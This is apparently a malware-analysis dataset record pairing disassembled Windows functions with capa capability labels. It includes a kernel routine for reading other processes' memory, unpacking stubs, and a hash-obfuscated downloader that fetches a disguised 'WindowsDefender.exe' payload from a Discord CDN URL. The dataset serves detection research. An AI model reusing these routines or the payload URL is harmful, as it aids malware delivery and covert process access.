joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001080
Capabilities:
Find process by pid

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push r14
sub rsp, 0x20
lea r14, [rsp + 0x28]
xor ebx, ebx
mov rsi, qword [r14]
mov rdi, rcx
mov qword [r14], rbx
cmp dword [rcx], 0x88ae3ac
jne 0x1400010f1
movsxd rax, dword [rcx + 4]
test eax, eax
je 0x1400010f1
mov rcx, rax
mov qword [r11 + 8], rbx
lea rdx, [r11 + 8]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x1400010f1
call sub.ntoskrnl.exe_PsGetProcessSectionBaseAddress
mov rcx, rax
test rax, rax
je 0x1400010f1
mov rax, qword [rdi + 8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
jmp 0x1400010f6
mov ebx, 0xc0000001
mov rdi, qword [rsp + 0x48]
mov eax, ebx
mov rbx, qword [rsp + 0x38]
mov qword [r14], rsi
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret

Function at 0x140001114
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
lea r14, [rsp + 0x48]
xor ebx, ebx
mov rbp, qword [r14]
mov rsi, rcx
mov qword [r14], rbx
cmp dword [rcx], 0x88ae3ac
je 0x140001148
mov ebx, 0xc0000001
jmp 0x1400011ff
xor r8d, r8d
mov dword [rsp + 0x20], ebx
lea r9, [rsp + 0x20]
mov rdi, rbx
lea rdx, [rsp + 0x20]
lea ecx, [r8 + 0x42]
call sub.ntoskrnl.exe_ZwQuerySystemInformation
cmp eax, 0xc0000004
jne 0x1400011ff
test rdi, rdi
je 0x140001180
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov edx, dword [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, rax
mov ecx, 0x42
mov rdi, rax
call sub.ntoskrnl.exe_ZwQuerySystemInformation
cmp eax, 0xc0000004
je 0x140001170
test rdi, rdi
je 0x1400011ff
mov r9d, dword [rdi]
mov r8d, ebx
test r9d, r9d
je 0x1400011f4
lea rdx, [rdi + 0x18]
test byte [rdx - 8], 1
je 0x1400011e8
cmp qword [rdx], 0x200000
jne 0x1400011e8
mov ecx, dword [0x140002000]
mov r10b, byte [0x140002004]
cmp dword [rdx + 8], ecx
jne 0x1400011e8
cmp byte [rdx + 0xc], r10b
je 0x140001217
inc r8d
add rdx, 0x20
cmp r8d, r9d
jb 0x1400011c1
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov qword [r14], rbp
mov eax, ebx
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
mov rcx, qword [rsi + 8]
mov rax, qword [rdx - 0x10]
mov qword [rcx], rax
jmp 0x1400011ff
Function at 0x140001224
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x20
lea r15, [rsp + 0x48]
xor edi, edi
mov rbp, qword [r15]
mov rsi, rcx
mov qword [r15], rdi
cmp dword [rcx], 0x88ae3ac
jne 0x1400012df
movsxd rax, dword [rcx + 4]
test eax, eax
je 0x1400012df
mov rcx, rax
mov qword [rsp + 0x50], rdi
lea rdx, [rsp + 0x50]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x1400012df
call fcn.1400012fc
mov rcx, qword [rsp + 0x50]
mov rbx, rax
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rdx, qword [rsi + 8]
mov rcx, rbx
mov r14, qword [rsi + 0x18]
call fcn.1400016b8
mov r10, rax
test rax, rax
je 0x1400012df
mov rdx, qword [rsi + 0x10]
lea r9, [rsp + 0x58]
and eax, 0xfff
mov qword [rsp + 0x58], rdi
mov ecx, 0x1000
sub ecx, eax
cmp ecx, r14d
cmovl r14d, ecx
mov rcx, r10
movsxd r8, r14d
cmp byte [rsi + 0x20], dil
je 0x1400012d8
call fcn.1400018c8
jmp 0x1400012e4
call fcn.140001678
jmp 0x1400012e4
mov edi, 0xc0000001
mov rbx, qword [rsp + 0x60]
mov eax, edi
mov qword [r15], rbp
add rsp, 0x20
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret

Function at 0x1400012fc
Capabilities:
Attach user process memory

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov rdi, rcx
test rcx, rcx
jne 0x140001321
xor eax, eax
jmp 0x140001394
mov rbx, qword [rcx + 0x28]
test rbx, rbx
jne 0x140001335
call fcn.1400013ac
mov ecx, eax
mov rbx, qword [rcx + rdi]
mov rax, rbx
shr rax, 0x38
cmp al, 0x40
jne 0x140001391
cmp byte [0x140004088], 0
jne 0x140001385
xorps xmm0, xmm0
lea rdx, [rsp + 0x20]
mov rcx, rdi
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov rax, cr3
lea rcx, [rsp + 0x20]
mov qword [0x140004080], rax
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov byte [0x140004088], 1
mov rax, qword [0x140004080]
test rax, rax
jne 0x140001394
mov rax, rbx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001970
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
Function at 0x140777058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1407771df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140777089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14077706f
add dl, dl
jne 0x140777096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407770f6
xor eax, eax
add dl, dl
jne 0x1407770a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407771ad
add dl, dl
jne 0x1407770b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407770c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407770d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407770dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1407770ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14077707e
mov eax, 1
add dl, dl
jne 0x140777106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140777113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407770fb
sub eax, ebx
mov ebx, 1
jne 0x14077714c
mov ecx, 1
add dl, dl
jne 0x14077712e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14077713b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140777123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14077707e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140777168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140777175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14077715d
cmp eax, 0x7d00
jae 0x14077719b
cmp eax, 0x500
jb 0x140777196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14077707e
cmp eax, 0x7f
ja 0x14077719e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14077707e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1407771d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14077707e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14075bda0
Capabilities:
Terminate process

Disassembly:
invalid
cld
pop r11
jmp 0x14075bdad
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14075bdbd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14075bda5
lea eax, [rcx + 1]
jmp 0x14075bdcb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14075bdde
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14075bdc4
sub eax, 3
jb 0x14075bdfe
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14075be4d
sar eax, 1
movsxd rbp, eax
jb 0x14075be34
jmp 0x14075be0c
add ebx, ebx
jne 0x14075be0a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14075be34
inc ecx
add ebx, ebx
jne 0x14075be1a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14075be34
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14075be2d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14075be1c
add ecx, 2
jmp 0x14075be39
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.14075bd62
jmp 0x14075bdad
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
sub rsp, 0x28
lea rdi, [rsi + 0x758000]
mov eax, dword [rdi]
or eax, eax
je 0x14075beb9
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x75c1e4]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14075be5d
jns 0x14075be92
movzx rdx, word [rdi]
add rdi, 2
jmp 0x14075be9c
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14075beb3
mov qword [rbx], rax
add rbx, 8
jmp 0x14075be7d
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14075befd
cmp al, 0xef
ja 0x14075bee5
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14075bec5
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x14075bed4
mov eax, dword [rdi]
add rdi, 4
jmp 0x14075bed4
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x24f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14075bf51
sub rsp, 0xffffffffffffff80
jmp 0x1406f0dfc
Function at 0x140001000
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r10d, dword [rcx + r8 + 0x88]
add r10, r8
cmp r10, r8
je 0x140001086
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140001086
mov ebx, dword [r10 + 0x20]
dec r9d
mov r11d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov cl, byte [rdx]
inc rdx
test cl, cl
je 0x140001081
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x140001062
cmp r11d, 0x53b2070f
je 0x14000108b
test r9d, r9d
jne 0x140001045
mov rax, qword [rax]
jmp 0x140001020
mov ecx, dword [r10 + 0x24]
add rcx, r8
movzx edx, word [rcx + r9*2]
mov ecx, dword [r10 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
lea rcx, str.Urlmon.dll
add rax, r8
call rax
mov rcx, qword gs:[0x60]
mov rsi, rax
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov r9, qword [rcx + 0x30]
movsxd rdx, dword [r9 + 0x3c]
mov r10d, dword [rdx + r9 + 0x88]
add r10, r9
cmp r10, r9
je 0x140001127
mov r8d, dword [r10 + 0x18]
test r8d, r8d
je 0x140001127
mov edi, dword [r10 + 0x20]
dec r8d
mov r11d, 0x811c9dc5
lea rax, [rdi + r8*4]
mov edx, dword [rax + r9]
add rdx, r9
mov al, byte [rdx]
inc rdx
test al, al
je 0x140001122
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
mov al, byte [rdx]
inc rdx
test al, al
jne 0x140001103
cmp r11d, 0xf8f45725
je 0x14000112c
test r8d, r8d
jne 0x1400010e6
mov rcx, qword [rcx]
jmp 0x1400010c1
mov ecx, dword [r10 + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [r10 + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
lea rdx, str.URLDownloadToFileA
add rax, r9
mov rcx, rsi
call rax
test rax, rax
je 0x14000100f
and dword [rsp + 0x20], 0
lea r8, str.sex.exe
xor r9d, r9d
lea rdx, str.https:__cdn.discordapp.com_attachments_1195535335409602590_1205298774084419604_WindowsDefender.exe
xor ecx, ecx
call rax
mov rbx, qword [rsp + 0x40]
xor eax, eax
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x140001b88
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001bd2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001bd2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001bd2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001bd2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001bd2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001bd4
xor al, al
add rsp, 0x28
ret

Function at 0x14000630c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140006108
Function at 0x1400093cc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400093fc
xor eax, eax
jmp 0x1400094bf
mov rbp, rbx
cmp word [rax], si
je 0x140009421
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140009408
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140009404
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400092ec
movsxd r14, eax
test eax, eax
jne 0x14000945f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400093f5
mov rcx, r14
call fcn.14000a2a8
mov rdi, rax
test rax, rax
jne 0x140009478
xor ecx, ecx
call fcn.14000794c
jmp 0x140009454
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400092ec
test eax, eax
jne 0x1400094a9
mov rcx, rdi
call fcn.14000794c
jmp 0x1400094b3
xor ecx, ecx
call fcn.14000794c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000c9b0
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400083bc
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14000ca3a
cmp byte [rbp - 0x21], r15b
je 0x14000ca35
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14000ca70
call fcn.14000aab8
test eax, eax
jne 0x14000ca5c
cmp byte [rbp - 0x21], r15b
je 0x14000ca54
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14000ca70
cmp byte [rbp - 0x21], r15b
je 0x14000ca6d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000799c
test eax, eax
jne 0x14000cb10
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400083bc
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14000caaf
cmp byte [rbp - 0x21], r15b
je 0x14000cae4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14000cae4
call fcn.14000aab8
test eax, eax
jne 0x14000cad0
cmp byte [rbp - 0x21], r15b
je 0x14000cac9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14000cae4
cmp byte [rbp - 0x21], r15b
je 0x14000cae1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000799c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14000cb10
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14000cb13
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14000cb21
mov rcx, rdi
call fcn.14000794c
cmp byte [rbp + 0x3f], r15b
je 0x14000cb30
mov rcx, qword [rbp + 0x27]
call fcn.14000794c
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14000f960
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000f988
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14000f988
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14004fa40
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x40
lea rax, [fcn.14004fa40]
mov ecx, dword [rsp + 0x24]
mov edx, ecx
and edx, 0x39638de3
mov dword [rsp + 0x24], edx
mov qword [rsp + 0x28], rax
mov r8w, word [rsp + 0xe]
mov r9w, r8w
xor r9w, 0xffff
mov word [rsp + 0xe], r9w
mov dword [rsp + 8], ecx
mov word [rsp + 6], r8w
jmp 0x14004fadf
mov eax, 0xbfda860
mov rcx, qword [rsp + 0x38]
mov edx, dword [rsp + 8]
xor edx, 0xffffffff
mov dword [rsp + 0x24], edx
movsxd rcx, dword [rcx + 0x3c]
mov dword [rsp + 0x20], 0x1c9e4146
mov edx, dword [rsp + 0x20]
mov r8, qword [rsp + 0x38]
mov word [rsp + 0xe], 0x2d5d
mov r9d, dword [rsp + 8]
or r9d, r9d
mov dword [rsp + 0x24], r9d
mov r9d, dword [rsp + 8]
sub r9d, 0x47c9e68b
mov r10d, dword [r8 + rcx]
mov dword [rsp + 0x24], r9d
mov dword [rsp + 0x1c], r10d
cmp eax, edx
ja 0x14004fb01
jmp 0x14004fb4b
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov ecx, dword [rsp + 8]
or ecx, ecx
mov dword [rsp + 0x24], ecx
cmp word [rax], 0x5a4d
je 0x14004fa81
jmp 0x14004fb22
mov al, byte [rsp + 0x37]
mov byte [rsp + 0x37], al
mov rcx, qword [rsp + 0x10]
add rcx, qword [rsp + 0x10]
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x10], rcx
add rsp, 0x40
ret
mov ax, word [rsp + 6]
imul cx, ax, 0x26c9
mov word [rsp + 0xe], cx
mov rdx, qword [rsp + 0x38]
add rdx, 0xfffffffffffff000
and rdx, 0xfffffffffffff000
mov qword [rsp + 0x28], rdx
jmp 0x14004fadf
cmp dword [rsp + 0x1c], 0x4550
je 0x14004fb01
jmp 0x14004fb22
Function at 0x1407fb058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1407fb1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1407fb089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407fb06f
add dl, dl
jne 0x1407fb096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407fb0f6
xor eax, eax
add dl, dl
jne 0x1407fb0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407fb1ad
add dl, dl
jne 0x1407fb0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407fb0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407fb0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407fb0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1407fb0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1407fb07e
mov eax, 1
add dl, dl
jne 0x1407fb106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407fb113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407fb0fb
sub eax, ebx
mov ebx, 1
jne 0x1407fb14c
mov ecx, 1
add dl, dl
jne 0x1407fb12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1407fb13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407fb123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407fb07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1407fb168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1407fb175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407fb15d
cmp eax, 0x7d00
jae 0x1407fb19b
cmp eax, 0x500
jb 0x1407fb196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407fb07e
cmp eax, 0x7f
ja 0x1407fb19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407fb07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1407fb1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1407fb07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400056b0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
mov eax, dword [rcx + 0x48]
lea rbx, [rcx + 0x28]
mov rsi, qword [rcx]
lea r11, [rcx + 0x28]
add rbx, rax
mov rdi, rcx
movabs rbp, 0x9e3779b185ebca87
movabs r15, 0x27d4eb2f165667c5
movabs r14, 0xc2b2ae3d27d4eb4f
movabs r12, 0x7a1435883d4d519d
cmp rsi, 0x20
jb 0x1400057ab
mov rcx, qword [rcx + 8]
mov r8, qword [rdi + 0x18]
mov r9, qword [rdi + 0x20]
mov rax, r8
mov rdx, qword [rdi + 0x10]
mov r10, r9
rol r10, 0x12
rol rax, 0xc
add r10, rax
mov rax, rdx
rol rax, 7
add r10, rax
mov rax, rcx
rol rax, 1
add r10, rax
movabs rax, 0x85ebca77c2b2ae63
imul rcx, r14
imul rdx, r14
imul r8, r14
imul r9, r14
rol rcx, 0x1f
imul rcx, rbp
rol rdx, 0x1f
xor r10, rcx
rol r8, 0x1f
imul r10, rbp
imul rdx, rbp
imul r8, rbp
sub r10, r12
rol r9, 0x1f
xor r10, rdx
imul r10, rbp
imul r9, rbp
sub r10, r12
xor r10, r8
imul r10, rbp
sub r10, r12
xor r10, r9
imul r10, rbp
add rax, r10
add rax, rsi
jmp 0x1400057b3
lea rax, [rsi + r15]
add rax, qword [rcx + 0x18]
lea rdx, [rdi + 0x30]
cmp rdx, rbx
ja 0x1400057ea
nop dword [rax]
mov rcx, qword [r11]
add rdx, 8
imul rcx, r14
add r11, 8
rol rcx, 0x1f
imul rcx, rbp
xor rax, rcx
rol rax, 0x1b
imul rax, rbp
sub rax, r12
cmp rdx, rbx
jbe 0x1400057c0
lea rdx, [r11 + 4]
movabs r8, 0x165667b19e3779f9
cmp rdx, rbx
ja 0x140005815
mov ecx, dword [r11]
mov r11, rdx
imul rcx, rbp
xor rax, rcx
rol rax, 0x17
imul rax, r14
add rax, r8
cmp r11, rbx
jae 0x14000583b
nop word [rax + rax]
movzx ecx, byte [r11]
inc r11
imul rcx, r15
xor rax, rcx
rol rax, 0xb
imul rax, rbp
cmp r11, rbx
jb 0x140005820
mov rbx, qword [rsp + 0x20]
mov rcx, rax
mov rbp, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
shr rcx, 0x21
xor rcx, rax
imul rcx, r14
mov rdx, rcx
shr rdx, 0x1d
xor rdx, rcx
imul rdx, r8
mov rax, rdx
shr rax, 0x20
xor rax, rdx
pop r15
pop r14
pop r12
ret

Function at 0x14000b140
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x250
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rdi, r8
lea rax, [rsp + 0x30]
mov rbx, rcx
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor ecx, ecx
xor r9d, r9d
